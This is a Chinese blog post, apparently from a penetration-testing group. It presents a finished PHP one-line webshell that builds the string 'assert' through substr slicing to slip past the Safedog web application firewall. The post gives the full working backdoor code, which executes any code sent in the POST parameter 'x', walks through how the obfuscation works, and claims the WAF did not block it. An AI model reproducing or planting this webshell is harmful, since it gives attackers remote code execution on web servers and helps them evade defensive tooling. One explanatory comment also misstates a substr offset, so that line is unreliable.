2017_最新过狗一句话编写_附成品

环境:php+mysql+apche

安全狗:apache版本+8.10规则库

即刻安全

即刻安全纯技术交流群:307283889

如需转载,请联系本博主声明,私自转载必追究

Prat 1

在bypass小分队中[email protected]表哥提到他明天会分享过waf的一句话

爱搞事的我当然不能只做伸手党,于是决定也分享一些出来,可是发现许久没有做渗透测试了

手里并没有过waf的一句话了,没办法只好临时刚几个出来

思路构思以及实现

本次bypass需要用的一个函数:

substr() //用于返回字符串的一部分。

其实这个想法很早就有了,不过好像也有大佬有成品,不过我没看见过(可能是很久没接触渗透测试了)

于是今天晚上就试了一下

其实不管怎么绕过,一句话最终还是:

1
assert($_POST['x']);

所谓的绕过无非就是把这一段进行处理让他达到一个过waf的效果

Prat 2

巧用substr函数绕过安全狗

思路成品:

1
2
3
4
5
6
7
8
9
10
<?php
$a = substr("abcdefghijklmnopqrstufwxyz",0,1);
$b = substr("abcdefghijklmnopqrstufwxyz",17,3);
$c = substr("abcdefghijklmnopqrstufwxyz",3,2);
$ss = $a.$b.$c;
$d = $ss[0].$ss[2].$ss[2]; //ass
$dd = $ss[5].$ss[1].$ss[3]; //ert
$x = $d.$dd;
$x($_POST['x']);
?>

这里主要关注这两行

1
2
3
$d  = $ss[0].$ss[2].$ss[2]; //ass
$dd = $ss[5].$ss[1].$ss[3]; //ert
$x = $d.$dd;

上面说了,一句话最终结果还是assert($_POST[‘x’]); 所以这里的$x肯定是assert
输出一下就知道。
如图:
image
可以看见echo 出来了assert
那么他是如何得到assert的呢,我们来看一下

1
$x = $d.$dd;

可以发现,$x通过$d$dd拼接得到的

$d$dd是通过截取$ss的字符串得到的

我们分别来输出一下每一个变量获取到的字符串
image
可以发现

1
2
3
4
$a = a     //从字符串的第0个字符开始截取,向右截取1个字符
$b = rst //从字符串的第17个字符开始截取,向右截取3个字符
$c = de //从字符串的第17个字符开始截取,向右截取3个字符
$ss = arstde //为三个变量的拼接的来

那么整个过程就很好理解

1
2
3
$d = ass   //分别截取$ss的第0,2,2字符
$dd = ert //分别截取$ss的第5,1,3字符
最后拼接成assert

看一下是否能过狗
image
完美过狗,并没有拦截